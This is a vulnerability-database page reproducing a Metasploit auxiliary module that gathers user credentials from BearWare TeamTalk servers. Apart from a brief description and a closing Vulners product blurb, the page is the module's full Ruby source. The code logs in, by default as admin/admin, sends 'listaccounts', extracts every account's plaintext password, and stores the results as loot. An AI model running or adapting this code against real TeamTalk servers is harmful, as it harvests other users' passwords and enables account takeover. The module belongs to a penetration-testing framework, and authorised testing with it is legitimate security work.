Lucene search
+L

TeamTalk Gather Credentials

🗓️ 24 Jul 2017 14:24:38Reported by bcoles <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 106 Views

This module retrieves user credentials from BearWare TeamTalk. Valid administrator credentials are required. Tested on TeamTalk versions 5.2.2.4885 and 5.2.3.4893

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::Tcp
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'TeamTalk Gather Credentials',
      'Description' => %q{
        This module retrieves user credentials from BearWare TeamTalk.

        Valid administrator credentials are required.

        This module has been tested successfully on TeamTalk versions
        5.2.2.4885 and 5.2.3.4893.
      },
      'Author'      => 'bcoles',
      'References'  =>
        [
          # Protocol documentation
          ['URL', 'https://github.com/BearWare/TeamTalk5/blob/master/ttphpadmin/tt5admin.php']
        ],
      'License'     => MSF_LICENSE))
    register_options [
      Opt::RPORT(10333),
      OptString.new('USERNAME', [true, 'The username for TeamTalk', 'admin']),
      OptString.new('PASSWORD', [true, 'The password for the specified username', 'admin'])
    ]
  end

  def run
    vprint_status 'Connecting...'

    connect
    banner = sock.get_once

    unless banner =~ /^teamtalk\s.*protocol="([\d\.]+)"/
      fail_with Failure::BadConfig, 'TeamTalk does not appear to be running'
    end

    print_status "Found TeamTalk (protocol version #{$1})"

    report_service :host  => rhost,
                   :port  => rport,
                   :proto => 'tcp',
                   :name  => 'teamtalk'

    vprint_status "Authenticating as '#{username}'"

    req = "login username=\"#{username.tr('"', '\"')}\" password=\"#{password.tr('"', '\"')}\""
    res = send_command req

    unless res.to_s.starts_with? 'accepted'
      fail_with Failure::NoAccess, 'Authentication failed'
    end

    print_good 'Authenticated successfully'

    if res =~ /usertype=2/
      print_good 'User is an administrator'
    else
      print_warning 'User is not an administrator'
    end

    vprint_status "Retrieving users..."

    res = send_command 'listaccounts'

    if res =~ /^error/ && res =~ /message="Command not authorized"/
      print_error 'Insufficient privileges'
      return
    end

    unless res =~ /^ok\r?\n?\z/
      print_error 'Unexpected reply'
      return
    end

    cred_table = Rex::Text::Table.new 'Header'  => 'TeamTalk User Credentials',
                                      'Indent'  => 1,
                                      'Columns' => ['Username', 'Password', 'Type']

    res.each_line do |line|
      line.chomp!
      next unless line =~ /^useraccount/

      user = line.scan(/\s+username="(.*?)"\s+password=/).flatten.first.to_s.gsub('\"', '"')
      pass = line.scan(/\s+password="(.*?)"\s+usertype=/).flatten.first.to_s.gsub('\"', '"')
      type = line.scan(/\s+usertype=(\d+)\s+/).flatten.first

      cred_table << [ user, pass, type ]
      report_cred user:     user,
                  password: pass,
                  type:     type,
                  proof:    line
    end

    if cred_table.rows.empty?
      print_error 'Did not find any users'
      return
    end

    print_status "Found #{cred_table.rows.size} users"
    print_line
    print_line cred_table.to_s

    p = store_loot 'teamtalk.user.creds',
                   'text/csv',
                   rhost,
                   cred_table.to_csv,
                   'TeamTalk User Credentials'

    print_good "Credentials saved in: #{p}"
  rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
    print_error e.message
  ensure
    disconnect
  end

  private

  def username
    datastore['USERNAME'] || ''
  end

  def password
    datastore['PASSWORD'] || ''
  end

  def report_cred(opts)
    service_data = {
      address:      rhost,
      port:         rport,
      service_name: 'teamtalk',
      protocol:     'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      origin_type:     :service,
      module_fullname: fullname,
      username:        opts[:user],
      private_data:    opts[:password],
      private_type:    :password
    }.merge service_data

    login_data = {
      core:              create_credential(credential_data),
      status:            Metasploit::Model::Login::Status::UNTRIED,
      access_level:      opts[:type],
      proof:             opts[:proof]
    }.merge service_data

    create_credential_login login_data
  end

  def send_command(cmd = '')
    cmd_id = rand(1000)
    sock.put "#{cmd} id=#{cmd_id}\n"

    res = ''
    timeout = 15
    Timeout.timeout(timeout) do
      res << sock.get_once until res =~ /^end id=#{cmd_id}/
    end

    res.to_s.scan(/begin id=#{cmd_id}\r?\n(.*)\r?\nend id=#{cmd_id}/m).flatten.first
  rescue Timeout::Error
    print_error "Timeout (#{timeout} seconds)"
  rescue => e
    print_error e.message
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation